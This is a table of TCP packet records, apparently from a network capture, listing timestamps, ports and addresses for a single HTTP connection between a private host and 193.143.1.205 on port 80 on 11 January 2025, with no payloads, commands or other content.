Jan 11, 2025 09:14:15.525044918 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.525064945 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.525094032 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.525599003 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.525609970 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.525621891 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.525645971 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.525675058 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.525891066 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.525902987 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.525914907 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.525928020 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.525935888 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.525974989 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.526345968 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.526357889 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.526369095 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.526381016 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.526392937 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.526396036 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.526405096 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.526416063 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.526426077 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.526428938 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.526472092 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.526490927 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.527033091 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.527045012 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.527055979 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.527066946 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.527077913 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.527087927 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.527090073 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.527101040 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.527112961 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.527112961 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.527126074 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.527132988 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.527167082 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.527769089 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.527781010 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.527791977 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.527820110 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.527837038 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.528006077 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.528017998 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.528067112 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.533158064 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.533233881 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.533242941 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.533293009 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.533327103 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.533375025 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.542501926 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.542546988 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.542557955 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.542587996 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.542671919 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.542684078 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.542716980 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.542800903 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.542841911 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.577250957 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.577305079 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.577315092 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.577359915 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.577370882 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.577406883 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.612276077 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.612329960 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.612339973 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.612443924 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.612479925 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.612492085 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.612536907 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.612664938 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.612675905 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.612687111 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.612699032 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.612714052 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.612726927 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.612910986 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.612921953 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.612941027 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.612951994 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.612957001 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.612963915 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.612974882 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.612989902 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.613009930 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.613447905 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.613491058 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.646891117 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.646966934 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.647088051 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.647232056 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.647289991 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.647301912 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.647342920 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.647536039 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.647547960 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.647558928 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.647569895 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.647753954 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.647753954 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.647775888 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.647789001 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.647800922 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.647811890 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.647874117 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.647874117 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.648056984 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.648066998 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.648158073 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.648169994 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.648181915 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.648191929 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.648201942 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.648211956 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.648221016 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.648222923 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.648232937 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.648267984 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.648291111 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.648899078 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.648910999 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.648925066 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.648936033 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.649079084 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.649079084 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.649221897 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.649233103 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.649238110 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.649243116 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.649249077 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.649418116 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.649494886 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.649506092 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.649516106 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.649524927 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.649605036 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.649605036 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.649626017 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.649636984 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.649646044 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.649655104 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.649665117 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.649676085 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.649686098 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.649760008 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.649760008 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.649760008 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.650382042 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.650393963 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.650405884 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.650500059 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.650686026 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.650696993 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.650706053 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.650716066 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.650727034 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.650743961 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.650753975 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.650763035 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.650773048 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.650784016 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.650794029 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.650803089 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.650823116 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.650823116 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.650823116 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.650823116 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.650895119 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.651614904 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.651627064 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.651635885 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.651645899 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.651655912 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.651674032 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.651684999 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.651695013 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.651699066 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.651705027 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.651710033 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.651717901 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.651726961 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.651738882 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.651813984 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.651813984 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.651813984 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.652200937 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.652674913 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.652687073 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.652697086 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.652707100 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.652717113 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.652728081 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.652739048 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.652749062 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.652759075 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.652770042 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.652781010 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.652787924 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.652808905 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.652808905 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.652808905 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.652868986 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.653636932 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.653649092 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.653657913 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.653667927 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.653677940 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.653691053 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.653701067 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.653717041 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.653728008 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.653760910 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.653760910 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.653760910 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.653816938 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.697036982 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.702755928 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.702781916 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.702797890 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.702919960 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.702935934 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.702939987 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.702951908 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.702995062 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.702995062 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.703147888 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.703174114 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.703188896 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.703207016 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.703257084 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.703257084 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.703411102 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.703425884 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.703450918 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.703470945 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.703479052 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.703530073 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.703696012 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.703711987 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.703730106 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.703746080 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.703761101 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.703778028 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.703778028 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.703939915 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.703955889 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.703973055 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.703986883 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.704139948 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.704139948 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.737567902 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.737585068 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.737610102 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.737634897 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.737663984 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.737740993 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.737766027 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.737782001 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.737799883 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.737814903 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.737863064 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.737863064 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.738043070 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.738060951 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.738076925 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.738089085 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.738255024 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.738270998 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.738287926 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.738298893 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.738318920 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.738485098 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.738500118 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.738516092 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.738550901 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.738560915 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.738723040 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.738738060 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.738756895 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.738771915 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.738789082 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.738804102 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.738807917 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.738807917 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.738982916 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.739176989 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.739193916 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.739209890 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.739233971 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.739250898 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.739254951 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.739265919 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.739281893 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.739298105 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.739339113 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.739339113 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.739352942 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.739878893 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.739897013 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.739913940 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.739928007 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.739943027 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.739958048 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.739974976 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.740024090 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.740024090 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.740024090 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.740477085 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.740493059 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.740508080 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.740521908 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.740536928 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.740552902 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.740567923 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.740567923 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.740567923 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.740588903 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.740609884 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.740609884 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.741208076 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.741224051 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.741240025 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.741255045 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.741270065 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.741283894 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.741298914 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.741308928 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.741308928 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.741313934 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.741328955 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.741343975 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.741359949 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.741390944 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.741390944 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.741390944 CET	49707	80	192.168.2.9	193.143.1.205
